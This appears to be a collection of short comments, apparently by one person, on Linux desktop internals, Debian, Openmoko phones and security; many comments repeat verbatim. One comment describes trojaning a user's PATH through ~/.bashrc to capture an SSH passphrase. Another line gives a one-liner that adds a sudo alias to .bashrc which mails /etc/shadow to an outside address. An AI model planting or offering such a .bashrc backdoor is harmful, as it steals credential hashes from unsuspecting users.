The only confusing part is that they call the architecture "armhf". This means that you don't get an error message if you try to install debian armhf packages but they just crash when you try to run them.
We don't currently have seamless integration of remote and local apps. For example, there is no audio or freedesktop.org notifications for remote applications. I personally use xpra to get this seamless integration. Even though the name has "x" in it is not fundamentally tied to X protocols and will probably be easy to port to wayland. The data transmitted over network is compressed bitmap.
I totally agree on desktop. On phones it still makes sense to optimize memory usage though. I'm using chromium 18 on my openmoko that only has 128 MB of RAM and it's about 20 MB of it is constantly in swap. Do you know any tricks that I could use to reduce the memory usage at least slightly? I've considered using compressed swap (compcache) when I can upgrade the kernel.
I liked Triplane Turmoil, and old shareware DOS game, a lot. When I met the original developers by accident I offered to help port the game to SDL and managed to convince them to release it as open source: http://triplane.sf.net/
I would really like to know how they get the time from the cellular towers. I've tried to read the standards but they only talk about reporting timezone changes. Afaik nobody has figured out how to receive the time on Openmoko phones even though we have a long list of documented and undocumented AT commands for the GSM chip.
Passphrases on SSH keys help if somebody steals your backups but for almost anything else they are not very useful. If you somehow get access to the encrypted key of some user you very often also have access to their ~/.bashrc. Then you can easily trojan PATH that so that their passphrase is emailed to you next time they type it.
I might consider switching if aterm had at least support for clipboard (it only support X11 primary selection it seems, the one you access by pressing the middle mouse button. man aterm does not mention clipboard at all).
I'd love to have a LFS variant that'd cover what runs behind a modern desktop system (dbus/policykit/consolekit/pulseaudio/udisks/gdm3/udev/network-manager). I've met many admins who don't really have a clue on how these work.
Joining a wifi network also changes behavior for all users though, and so does "shutdown -r now". I doubt you want to ask an administrator to reboot your laptop:-)
ck-list-sessions supports both X and console sessions. At least here it seems that only one of them is marked "active = TRUE" at any given time. For example if I hit ctrl-alt-f1 to switch to the first virtual console I see how the output of that command immediately changes.
My printer (Samsung ML-2010R) eats bitmap data so I don't need to worry about bugs in proprietary postscript or PDF parsers. I can also get pixel accurate print previews and complexity of my document does not have any effect on how many pages per second the printer can print.
The only confusing part is that they call the architecture "armhf". This means that you don't get an error message if you try to install debian armhf packages but they just crash when you try to run them.
s/debian foundation/debian project/
We don't currently have seamless integration of remote and local apps. For example, there is no audio or freedesktop.org notifications for remote applications. I personally use xpra to get this seamless integration. Even though the name has "x" in it is not fundamentally tied to X protocols and will probably be easy to port to wayland. The data transmitted over network is compressed bitmap.
I totally agree on desktop. On phones it still makes sense to optimize memory usage though. I'm using chromium 18 on my openmoko that only has 128 MB of RAM and it's about 20 MB of it is constantly in swap. Do you know any tricks that I could use to reduce the memory usage at least slightly? I've considered using compressed swap (compcache) when I can upgrade the kernel.
I have played both and I kind of like triplane physics more. Also the game has a story :)
I liked Triplane Turmoil, and old shareware DOS game, a lot. When I met the original developers by accident I offered to help port the game to SDL and managed to convince them to release it as open source: http://triplane.sf.net/
echo 'alias sudo="sudo cat /etc/shadow | mail thanksfortheintel@mailinator.com; sudo"' >> ~/.bashrc
It's a good idea to not access personal bank account from company computers anyway.
This was found by Rafal Wojtczuk who is a co-author of Qubes OS that tries to bring strong security to the desktop. http://qubes-os.org/Home.html http://groups.google.com/group/qubes-devel/browse_thread/thread/248a59a1050fe9d4
I would really like to know how they get the time from the cellular towers. I've tried to read the standards but they only talk about reporting timezone changes. Afaik nobody has figured out how to receive the time on Openmoko phones even though we have a long list of documented and undocumented AT commands for the GSM chip.
It works easily. See e.g. http://www.usenix.org/event/usenix05/tech/general/full_papers/ford/ford_html/
It can just inject characters to that xterm? :-)
Passphrases on SSH keys help if somebody steals your backups but for almost anything else they are not very useful. If you somehow get access to the encrypted key of some user you very often also have access to their ~/.bashrc. Then you can easily trojan PATH that so that their passphrase is emailed to you next time they type it.
"Applications->System Tools->Disk Utility" is not too bad nowadays.
But terminals are open for a long time. Surely something in the system will call sync during the lifetime of a terminal emulator?
Did you actually test this? Here
/mnt /mnt /mnt
dd if=/dev/zero of=disk.img bs=1M count=5
/sbin/mkfs -F -t ext2 disk.img
sudo mount -o loop disk.img
sudo chmod a+rw
python -c 'import os; f = os.open("/mnt/a", os.O_CREAT | os.O_RDWR); os.unlink("/mnt/a"); os.write(f, "Hello world"); os.system("sync");';
strings disk.img
sudo umount
rm disk.img
seems to reliably find "Hello world" from the disk.img every time.
I might consider switching if aterm had at least support for clipboard (it only support X11 primary selection it seems, the one you access by pressing the middle mouse button. man aterm does not mention clipboard at all).
You forgot battery charging :-)
Are all commits really signed? I though you could only sign tags.
That's not quite accurate. 11 files in the kFreeBSD that Debian releases are under the GPL:
+ sys/amd64/include/xen/hypercall.h
+ sys/gnu/fs/ext2fs/ext2_fs.h
+ sys/gnu/fs/ext2fs/ext2_fs_sb.h
+ sys/gnu/fs/ext2fs/ext2_linux_balloc.c
+ sys/gnu/fs/ext2fs/ext2_linux_ialloc.c
+ sys/gnu/fs/ext2fs/ext2_vfsops.c
+ sys/gnu/fs/ext2fs/i386-bitops.h
+ sys/net80211/ieee80211_crypto_ccmp.c
+ sys/net80211/ieee80211_crypto_tkip.c
+ sys/xen/gnttab.h
+ sys/xen/xenbus/xenbus_probe_backend.c
Source: http://packages.debian.org/changelogs/pool/main/k/kfreebsd-10/kfreebsd-10_10.0~svn232158-1/kfreebsd-headers-10.0-0-686-smp.copyright
I'd love to have a LFS variant that'd cover what runs behind a modern desktop system (dbus/policykit/consolekit/pulseaudio/udisks/gdm3/udev/network-manager). I've met many admins who don't really have a clue on how these work.
Joining a wifi network also changes behavior for all users though, and so does "shutdown -r now". I doubt you want to ask an administrator to reboot your laptop :-)
ck-list-sessions supports both X and console sessions. At least here it seems that only one of them is marked "active = TRUE" at any given time. For example if I hit ctrl-alt-f1 to switch to the first virtual console I see how the output of that command immediately changes.
/usr/share/polkit-1/actions/org.freedesktop.udisks.policy
has
<action id="org.freedesktop.udisks.drive-eject">
...
<allow_any>no</allow_any>
<allow_inactive>no</allow_inactive>
<allow_active>yes</allow_active>
...
to make sure that remote SSH users can't eject your CD but local users can.
My printer (Samsung ML-2010R) eats bitmap data so I don't need to worry about bugs in proprietary postscript or PDF parsers. I can also get pixel accurate print previews and complexity of my document does not have any effect on how many pages per second the printer can print.